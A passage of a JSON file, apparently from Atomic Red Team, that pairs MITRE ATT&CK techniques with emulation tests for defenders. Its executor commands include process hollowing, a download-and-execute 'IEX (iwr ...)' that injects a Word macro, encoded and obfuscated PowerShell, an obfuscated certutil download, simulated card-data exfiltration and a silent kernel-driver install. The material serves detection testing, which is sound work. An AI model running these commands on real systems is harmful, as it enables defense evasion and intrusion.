disk with explorer as the parent.\nCredit to FuzzySecurity (https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Start-Hollow.ps1)\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "hollow_binary_path": { - "description": "Path of the binary to hollow (executable that will run inside the sponsor)", - "type": "string", - "default": "C:\\Windows\\System32\\cmd.exe" - }, - "parent_process_name": { - "description": "Name of the parent process", - "type": "string", - "default": "explorer" - }, - "sponsor_binary_path": { - "description": "Path of the sponsor binary (executable that will host the binary)", - "type": "string", - "default": "C:\\Windows\\System32\\notepad.exe" - }, - "spawnto_process_name": { - "description": "Name of the process to spawn", - "type": "string", - "default": "notepad" - } - }, - "executor": { - "command": ". $PathToAtomicsFolder\\T1055.012\\src\\Start-Hollow.ps1\n$ppid=Get-Process #{parent_process_name} | select -expand id\nStart-Hollow -Sponsor \"#{sponsor_binary_path}\" -Hollow \"#{hollow_binary_path}\" -ParentPID $ppid -Verbose\n", - "cleanup_command": "Stop-Process -Name \"#{spawnto_process_name}\" -ErrorAction Ignore\n", - "name": "powershell" - } - }, - { - "name": "RunPE via VBA", - "auto_generated_guid": "3ad4a037-1598-4136-837c-4027e4fa319b", - "description": "This module executes notepad.exe from within the WINWORD.EXE process\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "ms_product": { - "description": "Maldoc application Word", - "type": "string", - "default": "Word" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Microsoft #{ms_product} must be installed\n", - "prereq_command": "try {\n New-Object -COMObject \"#{ms_product}.Application\" | Out-Null\n $process = \"#{ms_product}\"; if ( $process -eq \"Word\") {$process = \"winword\"}\n Stop-Process -Name $process\n exit 0\n} catch { exit 1 }\n", - "get_prereq_command": "Write-Host \"You will need to install Microsoft #{ms_product} manually to meet this requirement\"\n" - } - ], - "executor": { - "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing) \nInvoke-MalDoc -macroFile \"PathToAtomicsFolder\\T1055.012\\src\\T1055.012-macrocode.txt\" -officeProduct \"#{ms_product}\" -sub \"Exploit\"\n", - "name": "powershell" - } - } - ] - }, - "T1564.009": { - "technique": { - "x_mitre_platforms": [ - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Jaron Bradley @jbradley89", - "Ivan Sinyakov" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--b22e5153-ac28-4cc6-865c-2054e36285cb", - "created": "2021-10-12T20:02:31.866Z", - "x_mitre_version": "1.0", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1564.009", - "url": "https://attack.mitre.org/techniques/T1564/009" - }, - { - "source_name": "tau bundlore erika noerenberg 2020", - "url": "https://blogs.vmware.com/security/2020/06/tau-threat-analysis-bundlore-macos-mm-install-macos.html", - "description": "Erika Noerenberg. (2020, June 29). TAU Threat Analysis: Bundlore (macOS) mm-install-macos. Retrieved October 12, 2021." - }, - { - "source_name": "Resource and Data Forks", - "url": "https://flylib.com/books/en/4.395.1.192/1/", - "description": "Flylib. (n.d.). Identifying Resource and Data Forks. Retrieved October 12, 2021." - }, - { - "source_name": "ELC Extended Attributes", - "url": "https://eclecticlight.co/2020/10/24/theres-more-to-files-than-data-extended-attributes/", - "description": "Howard Oakley. (2020, October 24). There's more to files than data: Extended Attributes. Retrieved October 12, 2021." - }, - { - "source_name": "sentinellabs resource named fork 2020", - "url": "https://www.sentinelone.com/labs/resourceful-macos-malware-hides-in-named-fork/", - "description": "Phil Stokes. (2020, November 5). Resourceful macOS Malware Hides in Named Fork. Retrieved October 12, 2021." - }, - { - "source_name": "macOS Hierarchical File System Overview", - "url": "http://tenon.com/products/codebuilder/User_Guide/6_File_Systems.html#anchor520553", - "description": "Tenon. (n.d.). Retrieved October 12, 2021." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.(Citation: macOS Hierarchical File System Overview) Usage of a resource fork is identifiable when displaying a file\u2019s extended attributes, using ls -l@ or xattr -l commands. Resource forks have been deprecated and replaced with the application bundle structure. Non-localized resources are placed at the top level directory of an application bundle, while localized resources are placed in the /Resources folder.(Citation: Resource and Data Forks)(Citation: ELC Extended Attributes)\n\nAdversaries can use resource forks to hide malicious data that may otherwise be stored directly in files. Adversaries can execute content with an attached resource fork, at a specified offset, that is moved to an executable location then invoked. Resource fork content may also be obfuscated/encrypted until execution.(Citation: sentinellabs resource named fork 2020)(Citation: tau bundlore erika noerenberg 2020)", - "modified": "2022-05-05T05:10:23.890Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Resource Forking", - "x_mitre_detection": "Identify files with the com.apple.ResourceFork extended attribute and large data amounts stored in resource forks. \n\nMonitor command-line activity leveraging the use of resource forks, especially those immediately followed by potentially malicious activity such as creating network connections. ", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "File: File Metadata", - "Command: Command Execution", - "Process: Process Creation", - "File: File Creation" - ], - "x_mitre_defense_bypassed": [ - "Notarization", - "Gatekeeper" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" - }, - "atomic_tests": [] - }, - "T1027": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Red Canary", - "Christiaan Beek, @ChristiaanBeek" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "created": "2017-05-31T21:30:32.662Z", - "x_mitre_version": "1.2", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1027", - "url": "https://attack.mitre.org/techniques/T1027" - }, - { - "source_name": "Volexity PowerDuke November 2016", - "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/", - "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017." - }, - { - "source_name": "GitHub Revoke-Obfuscation", - "url": "https://github.com/danielbohannon/Revoke-Obfuscation", - "description": "Bohannon, D. (2017, July 27). Revoke-Obfuscation. Retrieved February 12, 2018." - }, - { - "source_name": "FireEye Obfuscation June 2017", - "url": "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html", - "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018." - }, - { - "source_name": "FireEye Revoke-Obfuscation July 2017", - "url": "https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/revoke-obfuscation-report.pdf", - "description": "Bohannon, D. & Holmes, L. (2017, July 27). Revoke-Obfuscation: PowerShell Obfuscation Detection Using Science. Retrieved February 12, 2018." - }, - { - "source_name": "GitHub Office-Crackros Aug 2016", - "url": "https://github.com/itsreallynick/office-crackros", - "description": "Carr, N. (2016, August 14). OfficeCrackros. Retrieved February 12, 2018." - }, - { - "source_name": "Linux/Cdorked.A We Live Security Analysis", - "url": "https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/", - "description": "Pierre-Marc Bureau. (2013, April 26). Linux/Cdorked.A: New Apache backdoor being used in the wild to serve Blackhole. Retrieved September 10, 2017." - }, - { - "source_name": "Carbon Black Obfuscation Sept 2016", - "url": "https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/", - "description": "Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018." - }, - { - "source_name": "PaloAlto EncodedCommand March 2017", - "url": "https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/", - "description": "White, J. (2017, March 10). Pulling Back the Curtains on EncodedCommand PowerShell Attacks. Retrieved February 12, 2018." - }, - { - "url": "https://capec.mitre.org/data/definitions/267.html", - "source_name": "capec", - "external_id": "CAPEC-267" - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. \n\nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as JavaScript. \n\nPortions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)\n\nAdversaries may also obfuscate commands executed from payloads or directly via a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017) ", - "modified": "2022-05-05T05:08:05.584Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Obfuscated Files or Information", - "x_mitre_detection": "Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system). \n\nFlag and analyze commands containing indicators of obfuscation and known suspicious syntax such as uninterpreted escape characters like '''^''' and '''\"'''. Windows' Sysmon and Event ID 4688 displays command-line arguments for processes. Deobfuscation tools can be used to detect these indicators in files/payloads. (Citation: GitHub Revoke-Obfuscation) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: GitHub Office-Crackros Aug 2016) \n\nObfuscation used in payloads for Initial Access can be detected at the network. Use network intrusion detection systems and email gateway filtering to identify compressed and encrypted attachments and scripts. Some email attachment detonation systems can open compressed and encrypted attachments. Payloads delivered over an encrypted connection from a website require encrypted network traffic inspection. \n\nThe first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network. ", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_is_subtechnique": false, - "x_mitre_data_sources": [ - "Command: Command Execution", - "File: File Creation", - "File: File Metadata", - "Process: Process Creation" - ], - "x_mitre_defense_bypassed": [ - "Host Forensic Analysis", - "Signature-based Detection", - "Host Intrusion Prevention Systems", - "Application Control", - "Log Analysis" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1027" - }, - "atomic_tests": [ - { - "name": "Execute base64-encoded PowerShell", - "auto_generated_guid": "a50d5a97-2531-499e-a1de-5544c74432c6", - "description": "Creates base64-encoded PowerShell code and executes it. This is used by numerous adversaries and malicious tools.\n\nUpon successful execution, powershell will execute an encoded command and stdout default is \"Write-Host \"Hey, Atomic!\"\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "powershell_command": { - "description": "PowerShell command to encode", - "type": "string", - "default": "Write-Host \"Hey, Atomic!\"" - } - }, - "executor": { - "command": "$OriginalCommand = '#{powershell_command}'\n$Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand)\n$EncodedCommand =[Convert]::ToBase64String($Bytes)\n$EncodedCommand\npowershell.exe -EncodedCommand $EncodedCommand\n", - "name": "powershell" - } - }, - { - "name": "Execute base64-encoded PowerShell from Windows Registry", - "auto_generated_guid": "450e7218-7915-4be4-8b9b-464a49eafcec", - "description": "Stores base64-encoded PowerShell code in the Windows Registry and deobfuscates it for execution. This is used by numerous adversaries and malicious tools.\n\nUpon successful execution, powershell will execute encoded command and read/write from the registry.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "registry_key_storage": { - "description": "Windows Registry Key to store code", - "type": "string", - "default": "HKCU:Software\\Microsoft\\Windows\\CurrentVersion" - }, - "powershell_command": { - "description": "PowerShell command to encode", - "type": "string", - "default": "Write-Host \"Hey, Atomic!\"" - }, - "registry_entry_storage": { - "description": "Windows Registry entry to store code under key", - "type": "string", - "default": "Debug" - } - }, - "executor": { - "command": "$OriginalCommand = '#{powershell_command}'\n$Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand)\n$EncodedCommand =[Convert]::ToBase64String($Bytes)\n$EncodedCommand\n\nSet-ItemProperty -Force -Path #{registry_key_storage} -Name #{registry_entry_storage} -Value $EncodedCommand\npowershell.exe -Command \"IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp #{registry_key_storage} #{registry_entry_storage}).#{registry_entry_storage})))\"\n", - "cleanup_command": "Remove-ItemProperty -Force -ErrorAction Ignore -Path #{registry_key_storage} -Name #{registry_entry_storage}\n", - "name": "powershell" - } - }, - { - "name": "Execution from Compressed File", - "auto_generated_guid": "f8c8a909-5f29-49ac-9244-413936ce6d1f", - "description": "Mimic execution of compressed executable. When successfully executed, calculator.exe will open.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "url_path": { - "description": "url to download Exe", - "type": "url", - "default": "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027/bin/T1027.zip" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "T1027.exe must exist on disk at $env:temp\\temp_T1027.zip\\T1027.exe\n", - "prereq_command": "if (Test-Path $env:temp\\temp_T1027.zip\\T1027.exe) {exit 0} else {exit 1}\n", - "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nInvoke-WebRequest \"#{url_path}\" -OutFile \"$env:temp\\T1027.zip\"\nExpand-Archive -path \"$env:temp\\T1027.zip\" -DestinationPath \"$env:temp\\temp_T1027.zip\\\" -Force\n" - } - ], - "executor": { - "command": "\"%temp%\\temp_T1027.zip\\T1027.exe\"\n", - "cleanup_command": "taskkill /f /im calculator.exe >nul 2>nul\nrmdir /S /Q %temp%\\temp_T1027.zip >nul 2>nul\ndel /Q \"%temp%\\T1027.zip\" >nul 2>nul\n", - "name": "command_prompt" - } - }, - { - "name": "DLP Evasion via Sensitive Data in VBA Macro over email", - "auto_generated_guid": "129edb75-d7b8-42cd-a8ba-1f3db64ec4ad", - "description": "Upon successful execution, an excel containing VBA Macro containing sensitive data will be sent outside the network using email.\nSensitive data includes about around 20 odd simulated credit card numbers that passes the LUHN check.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "input_file": { - "description": "Path of the XLSM file", - "type": "path", - "default": "PathToAtomicsFolder\\T1027\\src\\T1027-cc-macro.xlsm" - }, - "sender": { - "description": "sender email", - "type": "string", - "default": "test@corp.com" - }, - "receiver": { - "description": "receiver email", - "type": "string", - "default": "test@corp.com" - }, - "smtp_server": { - "description": "SMTP Server IP Address", - "type": "string", - "default": "127.0.0.1" - } - }, - "executor": { - "command": "Send-MailMessage -From #{sender} -To #{receiver} -Subject 'T1027_Atomic_Test' -Attachments #{input_file} -SmtpServer #{smtp_server}\n", - "name": "powershell" - } - }, - { - "name": "DLP Evasion via Sensitive Data in VBA Macro over HTTP", - "auto_generated_guid": "e2d85e66-cb66-4ed7-93b1-833fc56c9319", - "description": "Upon successful execution, an excel containing VBA Macro containing sensitive data will be sent outside the network using HTTP.\nSensitive data includes about around 20 odd simulated credit card numbers that passes the LUHN check.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "input_file": { - "description": "Path of the XLSM file", - "type": "path", - "default": "PathToAtomicsFolder\\T1027\\src\\T1027-cc-macro.xlsm" - }, - "ip_address": { - "description": "Destination IP address", - "type": "string", - "default": "127.0.0.1" - } - }, - "executor": { - "command": "Invoke-WebRequest -Uri #{ip_address} -Method POST -Body #{input_file}\n", - "name": "powershell" - } - }, - { - "name": "Obfuscated Command in PowerShell", - "auto_generated_guid": "8b3f4ed6-077b-4bdd-891c-2d237f19410f", - "description": "This is an obfuscated PowerShell command which when executed prints \"Hello, from PowerShell!\". Example is from the 2021 Threat Detection Report by Red Canary.\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "$cmDwhy =[TyPe](\"{0}{1}\" -f 'S','TrING') ; $pz2Sb0 =[TYpE](\"{1}{0}{2}\"-f'nv','cO','ert') ; &(\"{0}{2}{3}{1}{4}\" -f'In','SiO','vOKe-EXp','ReS','n') ( (&(\"{1}{2}{0}\"-f'blE','gET-','vaRIA') ('CMdw'+'h'+'y')).\"v`ALUe\"::(\"{1}{0}\" -f'iN','jO').Invoke('',( (127, 162,151, 164,145 ,55 , 110 ,157 ,163 , 164 ,40,47, 110 , 145 ,154, 154 ,157 , 54 ,40, 146, 162 , 157,155 ,40, 120, 157 ,167,145 , 162 ,123,150 ,145 , 154 , 154 , 41,47)| .('%') { ( [CHAR] ( $Pz2sB0::\"t`OinT`16\"(( [sTring]${_}) ,8)))})) )\n", - "name": "powershell" - } - }, - { - "name": "Obfuscated Command Line using special Unicode characters", - "auto_generated_guid": "e68b945c-52d0-4dd9-a5e8-d173d70c448f", - "description": "This is an obfuscated certutil command that when executed downloads a file from the web. Adapted from T1105. Obfuscation includes special options chars (unicode hyphens), character substitution (e.g. \u1da0) and character insertion (including the usage of the right-to-left 0x202E and left-to-right 0x202D override characters).\nReference:\nhttps://wietze.github.io/blog/windows-command-line-obfuscation\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "remote_file": { - "description": "URL of file to download", - "type": "url", - "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt" - }, - "local_path": { - "description": "Local path/filename to save the dowloaded file to", - "type": "path", - "default": "Atomic-license.txt" - } - }, - "executor": { - "steps": "1. Copy the following command into the command prompt after replacing #{remote_file} and #{local_path} with your desired URL and filename.\n\n\n certutil \u2014\u0af9u\u0af0rl\u08b0ca\u08e2c\u0defhe \u2013\u202espli\u0605t\u202e\u202d \u2212\"\u0d4f\u1da0\u0d78\" #{remote_file} #{local_path}\n\n\n2. Press enter to execute the command. You will find the file or webpage you specified saved to the file you specified in the command.\n", - "name": "manual" - } - } - ] - }, - "T1036.001": { - "technique": { - "x_mitre_platforms": [ - "macOS", - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--b4b7458f-81f2-4d38-84be-1c5ba0167a52", - "type": "attack-pattern", - "created": "2020-02-10T19:49:46.752Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1036.001", - "url": "https://attack.mitre.org/techniques/T1036/001" - }, - { - "source_name": "Threatexpress MetaTwin 2017", - "url": "https://threatexpress.com/blogs/2017/metatwin-borrowing-microsoft-metadata-and-digital-signatures-to-hide-binaries/", - "description": "Vest, J. (2017, October 9). Borrowing Microsoft MetaData and Signatures to Hide Binary Payloads. Retrieved September 10, 2019." - } - ], - "modified": "2020-02-10T19:52:47.724Z", - "name": "Invalid Code Signature", - "description": "Adversaries may attempt to mimic features of valid code signatures to increase the chance of deceiving a user, analyst, or tool. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. Adversaries can copy the metadata and signature information from a signed program, then use it as a template for an unsigned program. Files with invalid code signatures will fail digital signature validation checks, but they may appear more legitimate to users and security tools may improperly handle these files.(Citation: Threatexpress MetaTwin 2017)\n\nUnlike [Code Signing](https://attack.mitre.org/techniques/T1553/002), this activity will not result in a valid signature.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment, look for invalid signatures as well as unusual certificate characteristics and outliers.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "File: File Metadata" - ] - }, - "atomic_tests": [] - }, - "T1564.006": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Johann Rehberger", - "Janantha Marasinghe", - "Menachem Shafran, XM Cyber" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d", - "type": "attack-pattern", - "created": "2020-06-29T15:36:41.535Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1564.006", - "url": "https://attack.mitre.org/techniques/T1564/006" - }, - { - "source_name": "SingHealth Breach Jan 2019", - "url": "https://www.mci.gov.sg/-/media/mcicorp/doc/report-of-the-coi-into-the-cyber-attack-on-singhealth-10-jan-2019.ashx", - "description": "Committee of Inquiry into the Cyber Attack on SingHealth. (2019, January 10). Public Report of the Committee of Inquiry into the Cyber Attack on Singapore Health Services Private Limited's Patient Database. Retrieved June 29, 2020." - }, - { - "source_name": "Sophos Ragnar May 2020", - "url": "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/", - "description": "SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020." - }, - { - "source_name": "Shadowbunny VM Defense Evasion", - "url": "https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/", - "description": "Johann Rehberger. (2020, September 23). Beware of the Shadowbunny - Using virtual machines to persist and evade detections. Retrieved September 22, 2021." - } - ], - "modified": "2021-10-14T22:21:59.708Z", - "name": "Run Virtual Instance", - "description": "Adversaries may carry out malicious operations using a virtual instance to avoid detection. A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance. Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.(Citation: SingHealth Breach Jan 2019)\n\nAdversaries may utilize native support for virtualization (ex: Hyper-V) or drop the necessary files to run a virtual instance (ex: VirtualBox binaries). After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.(Citation: Sophos Ragnar May 2020)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Consider monitoring for files and processes associated with running a virtual instance, such as binary files associated with common virtualization technologies (ex: VirtualBox, VMware, QEMU, Hyper-V). Consider monitoring the size of virtual machines running on the system. Adversaries may create virtual images which are smaller than those of typical virtual machines.(Citation: Shadowbunny VM Defense Evasion) Network adapter information may also be helpful in detecting the use of virtual instances.\n\nConsider monitoring for process command-line arguments that may be atypical for benign use of virtualization software. Usage of virtualization binaries or command-line arguments associated with running a silent installation may be especially suspect (ex. -silent, -ignore-reboot), as well as those associated with running a headless (in the background with no UI) virtual instance (ex. VBoxManage startvm $VM --type headless).(Citation: Shadowbunny VM Defense Evasion) Similarly, monitoring command line arguments which suppress notifications may highlight potentially malicious activity (ex. VBoxManage.exe setextradata global GUI/SuppressMessages \"all\").\n\nMonitor for commands which enable hypervisors such as Hyper-V. If virtualization software is installed by the adversary, the Registry may provide detection opportunities. Consider monitoring for [Windows Service](https://attack.mitre.org/techniques/T1543/003), with respect to virtualization software. \n\nBenign usage of virtualization technology is common in enterprise environments, data and events should not be viewed in isolation, but as part of a chain of behavior.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: Process Creation", - "Command: Command Execution", - "File: File Creation", - "Image: Image Metadata", - "Windows Registry: Windows Registry Key Modification", - "Service: Service Creation" - ], - "x_mitre_permissions_required": [ - "User" - ], - "identifier": "T1564.006" - }, - "atomic_tests": [ - { - "name": "Register Portable Virtualbox", - "auto_generated_guid": "c59f246a-34f8-4e4d-9276-c295ef9ba0dd", - "description": "ransomware payloads via virtual machines (VM). \n[Maze ransomware](https://threatpost.com/maze-ransomware-ragnar-locker-virtual-machine/159350/)\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "msi_file_path": { - "description": "Path to the MSI file", - "type": "path", - "default": "PathToAtomicsFolder\\T1564.006\\bin\\Virtualbox_52.msi" - }, - "cab_file_path": { - "description": "Path to the CAB file", - "type": "path", - "default": "PathToAtomicsFolder\\T1564.006\\bin\\common.cab" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "MSI file must exist on disk at specified location (#{msi_file_path})\n", - "prereq_command": "if (Test-Path #{msi_file_path}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{msi_file_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1564.006/bin/Virtualbox_52.msi\" -OutFile \"#{msi_file_path}\"\n" - }, - { - "description": "CAB file must exist on disk at specified location (#{cab_file_path})\n", - "prereq_command": "if (Test-Path #{cab_file_path}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{cab_file_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1564.006/bin/common.cab\" -OutFile \"#{cab_file_path}\" \n" - }, - { - "description": "Old version of Virtualbox must be installed\n", - "prereq_command": "if (Test-Path \"C:\\Program Files\\Oracle\\VirtualBox\\VboxC.dll\") {exit 0} else {exit 1}\n", - "get_prereq_command": "msiexec /i #{msi_file_path} /qn\n" - } - ], - "executor": { - "command": "\"C:\\Program Files\\Oracle\\VirtualBox\\VBoxSVC.exe\" /reregserver\nregsvr32 /S \"C:\\Program Files\\Oracle\\VirtualBox\\VboxC.dll\"\nrundll32 \"C:\\Program Files\\Oracle\\VirtualBox\\VBoxRT.dll,RTR3Init\"\nsc create VBoxDRV binpath= \"C:\\Program Files\\Oracle\\VirtualBox\\drivers\\VboxDrv.sys\" type= kernel start= auto error= normal displayname= PortableVBoxDRV\nsc start VBoxDRV\n", - "cleanup_command": "sc stop VBoxDRV\nsc delete VBoxDRV\nregsvr32 /u /S \"C:\\Program Files\\Oracle\\VirtualBox\\VboxC.dll\"\nmsiexec /x #{msi_file_path} /qn\n", - "name": "command_prompt" - } - }, - { - "name": "Create and start VirtualBox virtual machine", - "auto_generated_guid": "88b81702-a1c0-49a9-95b2-2dd53d755767", - "description": "Create a simple VirtualBox VM and start up the machine\nCleanup command stops and deletes the newly created VM and associated files\nhttps://www.virtualbox.org/manual/ch08.html#vboxmanage-startvm\nhttps://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/\nhttps://attack.mitre.org/techniques/T1564/006/\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "vm_name": { - "description": "Name of the new virtual machine", - "type": "string", - "default": "Atomic VM" - }, - "virtualbox_exe": { - "description": "Path to the VirtualBox executable", - "type": "path", - "default": "C:\\Program Files\\Oracle\\VirtualBox\\VirtualBox.exe" - }, - "vboxmanage_exe": { - "description": "Path to the executable for VBoxManage, the command-line interface to VirtualBox", - "type": "path", - "default": "C:\\Program Files\\Oracle\\VirtualBox\\VBoxManage.exe" - }, - "virtualbox_download": { - "description": "URL for the current installer for the Windows version of VirtualBox, as of March 2022", - "type": "url", - "default": "https://download.virtualbox.org/virtualbox/6.1.32/VirtualBox-6.1.32-149290-Win.exe" - }, - "virtualbox_installer": { - "description": "Executable for the Virtualbox installer", - "type": "string", - "default": "VirtualBox-6.1.32-149290-Win.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "VirtualBox must exist on disk at specified locations (#{virtualbox_exe})\n", - "prereq_command": "if (Test-Path \"#{virtualbox_exe}\") {exit 0} else {exit 1}\n", - "get_prereq_command": "$wc = New-Object System.Net.WebClient\n$wc.DownloadFile(\"#{virtualbox_download}\",\"$env:TEMP\\#{virtualbox_installer}\")\nstart-process -FilePath \"$env:TEMP\\#{virtualbox_installer}\" -ArgumentList \"--silent\" -Wait\n" - }, 